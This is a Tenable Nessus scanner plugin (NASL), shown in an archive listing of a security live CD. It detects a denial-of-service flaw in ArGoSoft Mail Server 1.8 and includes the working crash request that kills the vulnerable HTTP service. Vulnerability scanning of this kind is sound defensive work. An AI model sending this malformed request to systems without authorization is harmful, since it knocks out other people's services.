home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / argosoft_dos.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  72 lines

  1. #
  2. # (C) Tenable Network Security
  3. #
  4. # From: "Rushjo@tripbit.org" <rushjo@tripbit.org>
  5. # To: bugtraq@security-focus.com
  6. # Subject: Denial of Service Attack against ArGoSoft Mail Server Version 1.8 
  7.  
  8.  
  9.  
  10. if(description)
  11. {
  12.   script_id(11734);
  13.   
  14.   script_version ("$Revision: 1.2 $");
  15.   name["english"] = "Argosoft DoS";
  16.   script_name(english:name["english"]);
  17.  
  18.   desc["english"] = "
  19. It was possible to kill the remote HTTP server
  20. sending an invalid request to it ('GET  /index.html\n\n').
  21.  
  22. A cracker may exploit this vulnerability to make your web server
  23. crash continually or even execute arbitrary code on your system.
  24.  
  25. Solution : upgrade your software to the latest version
  26. Risk factor : High";
  27.  
  28.   script_description(english:desc["english"]);
  29.  
  30.   summary["english"] = "Bad HTTP request";
  31.   script_summary(english:summary["english"]);
  32.  
  33.   script_category(ACT_MIXED_ATTACK);
  34.  
  35.   script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
  36.   family["english"] = "Denial of Service";
  37.   script_family(english:family["english"]);
  38.   script_require_ports("Services/www", 80);
  39.   script_dependencie("find_service.nes", "httpver.nasl", "http_version.nasl");
  40.   exit(0);
  41. }
  42.  
  43. ########
  44.  
  45. include("http_func.inc");
  46.  
  47. port = get_http_port(default:80);
  48.  
  49. if(! get_port_state(port)) exit(0);
  50.  
  51. if( safe_checks() )
  52. {
  53.  banner = get_http_banner(port:port);
  54.  if(egrep(pattern:"^Server: ArGoSoft Mail Server.*.1\.([0-7]\..*|8\.([0-2]\.|3\.[0-5]))", string:banner))
  55.      {
  56.     security_hole(port);
  57.     }
  58.  exit(0);    
  59. }
  60.  
  61. if (http_is_dead(port: port)) exit(0);
  62.  
  63. soc = open_sock_tcp(port);
  64. if(! soc) exit(0);
  65.  
  66. send(socket:soc, data:'GET  /index.html\n\n');
  67. r = recv_line(socket:soc, length:2048);
  68. close(soc);
  69.  
  70. if (http_is_dead(port: port)) {  security_hole(port); exit(0); }
  71.